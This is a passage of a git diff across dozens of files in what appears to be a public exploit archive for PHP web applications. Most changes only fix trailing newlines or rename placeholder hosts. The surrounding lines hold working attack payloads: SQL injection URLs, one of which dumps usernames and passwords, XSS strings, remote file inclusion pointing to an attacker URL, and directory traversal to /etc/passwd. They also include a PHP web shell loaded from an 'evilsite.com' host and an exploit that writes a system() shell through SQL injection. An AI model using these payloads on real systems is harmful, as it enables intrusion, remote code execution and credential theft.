+http://www.example.com/?ticket_title=&contact_name=&priority=&status=&action=index&query=true&module=HelpDesk&order_by=&sorder=ASC&viewname=0&button=Search&category=&date_crit=is&date=%27+UNION+SELECT+56%2CCONCAT%28user_name%2C+%22%3A%22%2C+user_password%29%2C+%22Open%22%2C%22Normal%22%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1+from+users+where+users.user_name+LIKE+%27 \ No newline at end of file diff --git a/platforms/php/webapps/26587.txt b/platforms/php/webapps/26587.txt index bebaa6752..6af7c03e8 100755 --- a/platforms/php/webapps/26587.txt +++ b/platforms/php/webapps/26587.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 3.1 and earlier are affected; other versions may also be vulnerable. -http://www.example.com/index.php?pageaction=results&campaign_id=[SQL] \ No newline at end of file +http://www.example.com/index.php?pageaction=results&campaign_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26588.txt b/platforms/php/webapps/26588.txt index c2e9f2bb8..31aa3116b 100755 --- a/platforms/php/webapps/26588.txt +++ b/platforms/php/webapps/26588.txt @@ -4,4 +4,4 @@ Orca Forum is prone to an SQL injection vulnerability. This issue is due to a fa Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/forum.php?msg=[SQL] \ No newline at end of file +http://www.example.com/forum.php?msg=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/2659.php b/platforms/php/webapps/2659.php index 41bbf0c44..67c575841 100755 --- a/platforms/php/webapps/2659.php +++ b/platforms/php/webapps/2659.php @@ -58,7 +58,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/26590.txt b/platforms/php/webapps/26590.txt index f5c9547bd..ab00d3f94 100755 --- a/platforms/php/webapps/26590.txt +++ b/platforms/php/webapps/26590.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos OvBB 0.08a and prior versions are reportedly affected. -http://www.example.com/forums/profile.php?userid=[SQL] \ No newline at end of file +http://www.example.com/forums/profile.php?userid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26596.txt b/platforms/php/webapps/26596.txt index 4c03a25e4..84ac01446 100755 --- a/platforms/php/webapps/26596.txt +++ b/platforms/php/webapps/26596.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 1.4.92 is reported to be affected; earlier versions may also be vulnerable. -http://www.example.com/?_page=product_cat:t_Paged%20Listing&id=1[SQL] \ No newline at end of file +http://www.example.com/?_page=product_cat:t_Paged%20Listing&id=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26597.txt b/platforms/php/webapps/26597.txt index 988881033..6da2b4148 100755 --- a/platforms/php/webapps/26597.txt +++ b/platforms/php/webapps/26597.txt @@ -12,4 +12,4 @@ Input to the "URL" field: '';!--"<script>alert(String.fromCharCode(88,83,83)); </script> Input to the email field: -dude@what.com'';!--"<mycode> \ No newline at end of file +dude@what.com'';!--"<mycode> \ No newline at end of file diff --git a/platforms/php/webapps/26598.txt b/platforms/php/webapps/26598.txt index 19fdfb068..abb69bdcf 100755 --- a/platforms/php/webapps/26598.txt +++ b/platforms/php/webapps/26598.txt @@ -4,4 +4,4 @@ Athena PHP Website Administration is prone to a remote file include vulnerabilit An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/path_to_athena/athena.php?athena_dir=http://[attacker_url] \ No newline at end of file +http://www.example.com/path_to_athena/athena.php?athena_dir=http://[attacker_url] \ No newline at end of file diff --git a/platforms/php/webapps/26599.txt b/platforms/php/webapps/26599.txt index 9c40c10a6..cc748286a 100755 --- a/platforms/php/webapps/26599.txt +++ b/platforms/php/webapps/26599.txt @@ -4,4 +4,4 @@ phpGreetz is prone to a remote file include vulnerability. This issue is due to An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/path_to_phpgreetz/content.php?content=http://[attacker_url] \ No newline at end of file +http://www.example.com/path_to_phpgreetz/content.php?content=http://[attacker_url] \ No newline at end of file diff --git a/platforms/php/webapps/26600.txt b/platforms/php/webapps/26600.txt index b0da9c811..3eb58d055 100755 --- a/platforms/php/webapps/26600.txt +++ b/platforms/php/webapps/26600.txt @@ -4,4 +4,4 @@ Q-News is prone to a remote file include vulnerability. This issue is due to a f An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/path_to_qnews/q-news.php?id=http://[attacker_url] \ No newline at end of file +http://www.example.com/path_to_qnews/q-news.php?id=http://[attacker_url] \ No newline at end of file diff --git a/platforms/php/webapps/26603.txt b/platforms/php/webapps/26603.txt index bc2739d86..fb810d463 100755 --- a/platforms/php/webapps/26603.txt +++ b/platforms/php/webapps/26603.txt @@ -4,4 +4,4 @@ Enterprise Connector is prone to SQL injection vulnerabilities. These issues are Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -/messages.php?action=delete&messageid=[SQL] \ No newline at end of file +/messages.php?action=delete&messageid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26604.txt b/platforms/php/webapps/26604.txt index 1bd645e10..9ec1d9191 100755 --- a/platforms/php/webapps/26604.txt +++ b/platforms/php/webapps/26604.txt @@ -4,4 +4,4 @@ Zainu is prone to SQL injection vulnerabilities. These issues are due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -/index.php?in=song&term=[SQL]&action=search&start=[SQL] \ No newline at end of file +/index.php?in=song&term=[SQL]&action=search&start=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26607.txt b/platforms/php/webapps/26607.txt index 31bd27acc..78581687c 100755 --- a/platforms/php/webapps/26607.txt +++ b/platforms/php/webapps/26607.txt @@ -8,4 +8,4 @@ Successful exploitation could result in a compromise of the application, disclos /modules.php?name=topMusic&op=song&idartist=1&idalbum=1&idsong=[SQL] -/modules.php?name=topMusic&op=song&idartist=1&idalbum=[SQL] \ No newline at end of file +/modules.php?name=topMusic&op=song&idartist=1&idalbum=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26608.txt b/platforms/php/webapps/26608.txt index d2f54edb3..2491f78ce 100755 --- a/platforms/php/webapps/26608.txt +++ b/platforms/php/webapps/26608.txt @@ -8,4 +8,4 @@ PHPWordPress versions up to and including 3.0 are reported to be vulnerable; oth http://www.example.com/index.php?poll=[SQL] http://www.example.com/index.php?category=[SQL] -http://www.example.com/?archive&ctg=[SQL] \ No newline at end of file +http://www.example.com/?archive&ctg=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26611.txt b/platforms/php/webapps/26611.txt index be45eff10..3e97aaefa 100755 --- a/platforms/php/webapps/26611.txt +++ b/platforms/php/webapps/26611.txt @@ -4,4 +4,4 @@ Bedeng PSP is prone to SQL injection vulnerabilities. These issues are due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -/index.php?cwhere=a.nsub=[SQL] \ No newline at end of file +/index.php?cwhere=a.nsub=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26612.txt b/platforms/php/webapps/26612.txt index 415a2436f..c561734ab 100755 --- a/platforms/php/webapps/26612.txt +++ b/platforms/php/webapps/26612.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos /index.html?m=comments&id=[SQL] /index.html?m=show&id=1[SQL] /index.html?m=search&opt=search_proceed&keywords -=175&nnet_uid=1&nnet_catid=[SQL] \ No newline at end of file +=175&nnet_uid=1&nnet_catid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26616.txt b/platforms/php/webapps/26616.txt index a32a98f23..e769ff78c 100755 --- a/platforms/php/webapps/26616.txt +++ b/platforms/php/webapps/26616.txt @@ -4,4 +4,4 @@ Softbiz Resource Repository Script is prone to SQL injection vulnerabilities. Th Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -/report_link.php?sbres_id=1[SQL] \ No newline at end of file +/report_link.php?sbres_id=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26617.txt b/platforms/php/webapps/26617.txt index b976f0ec6..b27f66207 100755 --- a/platforms/php/webapps/26617.txt +++ b/platforms/php/webapps/26617.txt @@ -4,4 +4,4 @@ BerliOS SourceWell is prone to an SQL injection vulnerability. This issue is due Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -/index.php?start=2005-11-28&days=1&cnt=[SQL] \ No newline at end of file +/index.php?start=2005-11-28&days=1&cnt=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26618.txt b/platforms/php/webapps/26618.txt index 817d2a9a4..902acf0d4 100755 --- a/platforms/php/webapps/26618.txt +++ b/platforms/php/webapps/26618.txt @@ -4,4 +4,4 @@ AllWeb Search is prone to an SQL injection vulnerability. This issue is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -/index.php?search=[SQL]&type=web \ No newline at end of file +/index.php?search=[SQL]&type=web \ No newline at end of file diff --git a/platforms/php/webapps/26619.txt b/platforms/php/webapps/26619.txt index 2daff8a12..ce0267309 100755 --- a/platforms/php/webapps/26619.txt +++ b/platforms/php/webapps/26619.txt @@ -13,4 +13,4 @@ Successful exploitation could result in a compromise of the application, disclos /index.php?req=view&act=status&id=1&stat=[SQL] /index.php?req=view&act=status&id=[SQL] /index.php?req=delsite&id=[SQL] -/index.php?req=search&source=[SQL] \ No newline at end of file +/index.php?req=search&source=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26625.txt b/platforms/php/webapps/26625.txt index 03c0497fb..4f5c561d6 100755 --- a/platforms/php/webapps/26625.txt +++ b/platforms/php/webapps/26625.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos /edmobbs9r.php?messageID=1&table=[SQL] -/edmobbs9r.php?messageID=1[SQL] \ No newline at end of file +/edmobbs9r.php?messageID=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26627.txt b/platforms/php/webapps/26627.txt index 0864f4e69..aecf23eef 100755 --- a/platforms/php/webapps/26627.txt +++ b/platforms/php/webapps/26627.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos /topic.php?CAT_ID=1&FORUM_ID=1&TOPIC_ID=[SQL] /topic.php?CAT_ID=1&FORUM_ID=[SQL] -/topic.php?CAT_ID=[SQL] \ No newline at end of file +/topic.php?CAT_ID=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26628.txt b/platforms/php/webapps/26628.txt index 01c6cfa62..ab8d4c845 100755 --- a/platforms/php/webapps/26628.txt +++ b/platforms/php/webapps/26628.txt @@ -4,4 +4,4 @@ ShockBoard is prone to an SQL injection vulnerability. This issue is due to a fa Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -/topic.php?offset=[SQL] \ No newline at end of file +/topic.php?offset=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26629.txt b/platforms/php/webapps/26629.txt index be154d297..1382eb68e 100755 --- a/platforms/php/webapps/26629.txt +++ b/platforms/php/webapps/26629.txt @@ -4,4 +4,4 @@ Netzbrett is prone to an SQL injection vulnerability. This issue is due to a fai Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -/index.php?p_lng=en&p_days=15&p_cmd=entry&p_entry=1[SQL] \ No newline at end of file +/index.php?p_lng=en&p_days=15&p_cmd=entry&p_entry=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26630.txt b/platforms/php/webapps/26630.txt index d808f886a..ccceb8370 100755 --- a/platforms/php/webapps/26630.txt +++ b/platforms/php/webapps/26630.txt @@ -5,4 +5,4 @@ ADC2000 NG Pro is prone to SQL injection vulnerabilities. These issues are due t Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. /adcbrowres.php?lang=english&cat=[SQL] -/adcbrowres.php?lang=[SQL] \ No newline at end of file +/adcbrowres.php?lang=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26632.txt b/platforms/php/webapps/26632.txt index f53162647..c901bb2e3 100755 --- a/platforms/php/webapps/26632.txt +++ b/platforms/php/webapps/26632.txt @@ -4,4 +4,4 @@ Simple Document Management System (SDMS) is prone to SQL injection vulnerabiliti Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -/messages.php?forum=1&action=view&mid=[SQL] \ No newline at end of file +/messages.php?forum=1&action=view&mid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26635.txt b/platforms/php/webapps/26635.txt index 45a1ebbf9..e045358e2 100755 --- a/platforms/php/webapps/26635.txt +++ b/platforms/php/webapps/26635.txt @@ -38,4 +38,4 @@ domain=<script>alert(1)</script>&site= curl http://www.example.com/fws/pixel.php?site= &jsres=&jscolor=&jsref=http://www.example.com/search? q=ppoopp<script language=?javascript?-src= -"http://www.example.com/fws/inject.js?></script>&hl=it" \ No newline at end of file +"http://www.example.com/fws/inject.js?></script>&hl=it" \ No newline at end of file diff --git a/platforms/php/webapps/26636.txt b/platforms/php/webapps/26636.txt index 5622468e0..a60e4516b 100755 --- a/platforms/php/webapps/26636.txt +++ b/platforms/php/webapps/26636.txt @@ -12,4 +12,4 @@ curl -A Opera http://www.example.com/stat/pixel.php -e ?<a href=http://www.example.com>go-google</a>? curl -A Opera http://www.example.com/stat/pixel.php -e -?<script>alert(123123);</script>? \ No newline at end of file +?<script>alert(123123);</script>? \ No newline at end of file diff --git a/platforms/php/webapps/26638.txt b/platforms/php/webapps/26638.txt index 55228dc31..6271fc0be 100755 --- a/platforms/php/webapps/26638.txt +++ b/platforms/php/webapps/26638.txt @@ -8,4 +8,4 @@ Helpdesk Issue Manager 0.9 and prior versions are reportedly affected. http://www.example.com/find.php?act=action&reset=yes&detail%5B%5D=[SQL] http://www.example.com/find.php?page=0&act=action&orderby=sortorder&orderdir=[SQL] -http://www.example.com/find.php?page=0&act=action&orderby=[SQL] \ No newline at end of file +http://www.example.com/find.php?page=0&act=action&orderby=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/2664.pl b/platforms/php/webapps/2664.pl index 1cee4a457..4c0a09127 100755 --- a/platforms/php/webapps/2664.pl +++ b/platforms/php/webapps/2664.pl @@ -6,7 +6,7 @@ # (c)od3d and f0unded by Kw3[R]Ln from Romanian Security Team a.K.A http://RST-CREW.NET # Contact: ciriboflacs[AT]YaHOo.com or kw3rln@rst-crew.net # -# File inclusion: www.server/<path>/viewticket.php?pmdlang=<local/remote file> +# File inclusion: www.site.com/<path>/viewticket.php?pmdlang=<local/remote file> # # Vurnerable code: # in viewticket.php: include('pmd-config.php'); [..] include($lang_mod); diff --git a/platforms/php/webapps/26643.txt b/platforms/php/webapps/26643.txt index 8b2eb9c7b..75147aea9 100755 --- a/platforms/php/webapps/26643.txt +++ b/platforms/php/webapps/26643.txt @@ -6,4 +6,4 @@ This may facilitate the unauthorized viewing of files and unauthorized execution PHP Doc System 1.5.1 and prior versions are reported vulnerable; other versions may also be affected. -http://www.example.com/index.php?show=../File \ No newline at end of file +http://www.example.com/index.php?show=../File \ No newline at end of file diff --git a/platforms/php/webapps/26644.txt b/platforms/php/webapps/26644.txt index 7fe982098..978e4854d 100755 --- a/platforms/php/webapps/26644.txt +++ b/platforms/php/webapps/26644.txt @@ -4,4 +4,4 @@ SearchSolutions SearchFeed, RevenuePilot, and Google API are prone to cross-site An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/index.php?REQ=%3Cscript%3Ealert('r0t%20XSS')%3C/script%3ESubmit=Submit \ No newline at end of file +http://www.example.com/index.php?REQ=%3Cscript%3Ealert('r0t%20XSS')%3C/script%3ESubmit=Submit \ No newline at end of file diff --git a/platforms/php/webapps/26645.txt b/platforms/php/webapps/26645.txt index 8ae5cdce8..d3d26712f 100755 --- a/platforms/php/webapps/26645.txt +++ b/platforms/php/webapps/26645.txt @@ -5,4 +5,4 @@ ASP-Rider is prone to an SQL injection vulnerability. This issue is due to a fai Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An example Referer header has been supplied: -http://[SQLINJECTION] \ No newline at end of file +http://[SQLINJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/26646.txt b/platforms/php/webapps/26646.txt index 2579aa02f..4e388d6f8 100755 --- a/platforms/php/webapps/26646.txt +++ b/platforms/php/webapps/26646.txt @@ -5,4 +5,4 @@ PHP Upload Center is prone to a directory traversal vulnerability. This is due t An attacker can exploit this issue to retrieve arbitrary remote files on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. http://www.example.com/upload/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd -http://www.example.com/instaladores/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/instaladores/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/26647.txt b/platforms/php/webapps/26647.txt index b70aa623e..33b56d0eb 100755 --- a/platforms/php/webapps/26647.txt +++ b/platforms/php/webapps/26647.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Fantastic News 2.1.1 and prior versions are affected. -http://www.example.com/news.php?action=news&category=[SQL] \ No newline at end of file +http://www.example.com/news.php?action=news&category=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26649.txt b/platforms/php/webapps/26649.txt index 13fab13f5..a7e897994 100755 --- a/platforms/php/webapps/26649.txt +++ b/platforms/php/webapps/26649.txt @@ -8,4 +8,4 @@ Versions 0.904 and 0.910 are vulnerable; other versions may also be affected. http://www.example.com/index.php?action=comments&id=[sq] http://www.example.com/index.php?action=news_list&display_num=[sql] -http://www.example.com/index.php?action=news_list&sortorder=[sql] \ No newline at end of file +http://www.example.com/index.php?action=news_list&sortorder=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/26650.txt b/platforms/php/webapps/26650.txt index b8d7d2b63..11bb2f334 100755 --- a/platforms/php/webapps/26650.txt +++ b/platforms/php/webapps/26650.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 2.0 and prior are vulnerable; other versions may also be affected. http://www.example.com/?action=showcat&idcat=[SQL] -http://www.example.com/?action=[SQL] \ No newline at end of file +http://www.example.com/?action=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26652.txt b/platforms/php/webapps/26652.txt index d88568e8e..9eb529624 100755 --- a/platforms/php/webapps/26652.txt +++ b/platforms/php/webapps/26652.txt @@ -10,4 +10,4 @@ http://www.example.com/merchants/index.php?tm_userid=_&tm_orderid=&tm_transt ype%5B%5D=32&tm_transtype%5B%5D=1&tm_transtype%5B%5D=2&tm_transtype%5B%5D=4&tm_transtype%5B%5D=8&tm_transtype%5B%5D=16&tm_transtype%5B%5D=64&tm_status=_&tm_day1=25&tm_month1=11&tm_year1=2005&tm_day2=25&tm_month2=11&tm_year2=2005&numrows=20&filtered=1&md=Affiliate_Merchants_Views_TransactionManager&type=all&list_page=0&action=&sortby=ip&sortorder=[SQL] http://www.example.com/merchants/index.php?um_name=&um_surname=&um_aid=&um_s -tatus=_&numrows=20&filtered=1&md=Affiliate_Merchants_Views_AffiliateManager&list_page=0&sortby=a.surname&action=&sortorder=[SQL] \ No newline at end of file +tatus=_&numrows=20&filtered=1&md=Affiliate_Merchants_Views_AffiliateManager&list_page=0&sortby=a.surname&action=&sortorder=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26653.txt b/platforms/php/webapps/26653.txt index f57738f58..361b941a8 100755 --- a/platforms/php/webapps/26653.txt +++ b/platforms/php/webapps/26653.txt @@ -7,4 +7,4 @@ A successful exploit could allow an attacker to compromise the application, acce GhostScripter Amazon Shop 5.0.0 and prior versions are vulnerable; other versions may also be affected. -http://www.example.com/search.php?query=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&mode=all&imageField.x=21&imageField.y=4 \ No newline at end of file +http://www.example.com/search.php?query=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&mode=all&imageField.x=21&imageField.y=4 \ No newline at end of file diff --git a/platforms/php/webapps/26654.txt b/platforms/php/webapps/26654.txt index 1b6873ec9..9c2a3a74b 100755 --- a/platforms/php/webapps/26654.txt +++ b/platforms/php/webapps/26654.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 1.0.0 and prior are vulnerable; other versions may also be affected. -http://www.example.com/category.php?action=view&id=[SQL] \ No newline at end of file +http://www.example.com/category.php?action=view&id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26655.txt b/platforms/php/webapps/26655.txt index c41ef559a..92afb186e 100755 --- a/platforms/php/webapps/26655.txt +++ b/platforms/php/webapps/26655.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 4.1.3 and prior are vulnerable; other versions may also be affected. -http://www.example.com/calendar.php?display=event&id=[SQL] \ No newline at end of file +http://www.example.com/calendar.php?display=event&id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26656.txt b/platforms/php/webapps/26656.txt index f67ab9778..b8791f744 100755 --- a/platforms/php/webapps/26656.txt +++ b/platforms/php/webapps/26656.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 2.1b is vulnerable; other versions may also be affected. -http://www.example.com/knowledgebase?qid=[SQL] \ No newline at end of file +http://www.example.com/knowledgebase?qid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26657.txt b/platforms/php/webapps/26657.txt index 1bb5f4d82..90dd32536 100755 --- a/platforms/php/webapps/26657.txt +++ b/platforms/php/webapps/26657.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 1.3b is vulnerable; other versions may also be affected. -http://www.example.com/blog?msg=[SQL] \ No newline at end of file +http://www.example.com/blog?msg=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26658.txt b/platforms/php/webapps/26658.txt index 2d76e7432..f0e3bca29 100755 --- a/platforms/php/webapps/26658.txt +++ b/platforms/php/webapps/26658.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 2.3c is vulnerable; other versions may also be affected. -http://www.example.com/ringmaker?start=[SQL] \ No newline at end of file +http://www.example.com/ringmaker?start=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26660.txt b/platforms/php/webapps/26660.txt index 9caa5c791..c25ff0978 100755 --- a/platforms/php/webapps/26660.txt +++ b/platforms/php/webapps/26660.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 1.1 and prior are vulnerable; other versions may also be affected. -http://www.example.com/index.php?SEARCH_KEYS=&CATEGORY_ID=[SQL] \ No newline at end of file +http://www.example.com/index.php?SEARCH_KEYS=&CATEGORY_ID=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26661.txt b/platforms/php/webapps/26661.txt index 4084c9ab4..8e702b1c1 100755 --- a/platforms/php/webapps/26661.txt +++ b/platforms/php/webapps/26661.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 1.1 and prior are vulnerable; other versions may also be affected. -http://www.example.com/survey.php?SURVEY_ID=[SQL] \ No newline at end of file +http://www.example.com/survey.php?SURVEY_ID=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26662.php b/platforms/php/webapps/26662.php index e9cb6fcb6..7fa08b29f 100755 --- a/platforms/php/webapps/26662.php +++ b/platforms/php/webapps/26662.php @@ -20,7 +20,7 @@ All versions of N-13 News are considered to be affected at the moment. ### Exploit discovere and written by: KingOfSka @ http://contropotere.altervista.org ### Condition: Magic Quotes OFF ### A world writeable directory accessible trough HTTP -### To detect Server Path to N-13 just visit: http://www.server/n13/index.php?id=0' +### To detect Server Path to N-13 just visit: http://www.site.com/n13/index.php?id=0' ### ?> <html> @@ -39,14 +39,14 @@ $sql = "0' UNION SELECT '0' , '<? system(\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO $sql = urlencode($sql); $expurl= $url."?id=".$sql ; echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />'; -echo "After clicking go to http://www.server/path2phpshell/shell.php?cpc=ls to see results"; +echo "After clicking go to http://www.site.com/path2phpshell/shell.php?cpc=ls to see results"; } else { ?> Url to index.php: <br /> <form action = "<?php echo "$_SERVER[PHP_SELF]" ; ?>" method = "post"> -<input type = "text" name = "url" value = "http://www.server/n13/index.php" size = "50"> <br /> +<input type = "text" name = "url" value = "http://www.site.com/n13/index.php" size = "50"> <br /> Server Path to Shell: <br /> Full server path to a writable file which will contain the Php Shell <br /> <input type = "text" name = "outfile" value = "/var/www/localhost/htdocs/n13/shell.php" size = "50"> <br /> <br /> diff --git a/platforms/php/webapps/26663.txt b/platforms/php/webapps/26663.txt index 2bc8c3320..2dded189e 100755 --- a/platforms/php/webapps/26663.txt +++ b/platforms/php/webapps/26663.txt @@ -28,4 +28,4 @@ http://www.example.com/customers/zone_files.php?plan_id=35&domain=[SQL] http://www.example.com/customers/htaccess.php?plan_id=[SQL] http://www.example.com/customers/htaccess.php?plan_id=35&domain=[SQL] http://www.example.com/customers/software.php?plan_id=[SQL] -http://www.example.com/customers/software.php?plan_id=35&domain=[SQL] \ No newline at end of file +http://www.example.com/customers/software.php?plan_id=35&domain=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26667.txt b/platforms/php/webapps/26667.txt index ace3885b3..770ec5c73 100755 --- a/platforms/php/webapps/26667.txt +++ b/platforms/php/webapps/26667.txt @@ -5,4 +5,4 @@ SocketKB is prone to an SQL injection vulnerability. This issue is due to a fail Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/?__f=category&node=[SQL] -http://www.example.com/?__f=rating_add&art_id=[SQL] \ No newline at end of file +http://www.example.com/?__f=rating_add&art_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26668.txt b/platforms/php/webapps/26668.txt index af4e34ec3..57951388b 100755 --- a/platforms/php/webapps/26668.txt +++ b/platforms/php/webapps/26668.txt @@ -9,4 +9,4 @@ Note that this issue may also be leveraged to read arbitrary files on an affecte phpAlbum 0.2.3 and prior versions are vulnerable. http://www.example.com/main.php?cmd=../ -http://www.example.com/main.php?cmd=album&var1=../ \ No newline at end of file +http://www.example.com/main.php?cmd=album&var1=../ \ No newline at end of file diff --git a/platforms/php/webapps/2667.txt b/platforms/php/webapps/2667.txt index 702647a9a..464f27d97 100755 --- a/platforms/php/webapps/2667.txt +++ b/platforms/php/webapps/2667.txt @@ -4,7 +4,7 @@ Code: if($type == 1) { $url = "$cgipath" . "ipcalc.cgi"; } else { $url = "$cgipath" . "ipcalc.cgi?host=$host&mask1=$mask1&mask2=$mask2"; }nclude("$url"); -Exploit:server/ip.inc.php?type=1&cgipath=evilscripts +Exploit:www.target.com/ip.inc.php?type=1&cgipath=evilscripts Found: Cyber-Security diff --git a/platforms/php/webapps/26672.txt b/platforms/php/webapps/26672.txt index 615df9a9d..c37bfa730 100755 --- a/platforms/php/webapps/26672.txt +++ b/platforms/php/webapps/26672.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 1.1 and prior are reported to be vulnerable; other versions may also be affected. -http://www.example.com/profiles.php?cid=[SQL] \ No newline at end of file +http://www.example.com/profiles.php?cid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26673.txt b/platforms/php/webapps/26673.txt index 59c24d24b..1a5384941 100755 --- a/platforms/php/webapps/26673.txt +++ b/platforms/php/webapps/26673.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected. -http://www.example.com/index.php?cid=[SQL] \ No newline at end of file +http://www.example.com/index.php?cid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26674.txt b/platforms/php/webapps/26674.txt index 18936fac9..685ddd084 100755 --- a/platforms/php/webapps/26674.txt +++ b/platforms/php/webapps/26674.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected. -http://www.example.com/faq_qanda.php?id=[SQL] \ No newline at end of file +http://www.example.com/faq_qanda.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26675.txt b/platforms/php/webapps/26675.txt index 02a6cd935..569bd1734 100755 --- a/platforms/php/webapps/26675.txt +++ b/platforms/php/webapps/26675.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Softbiz 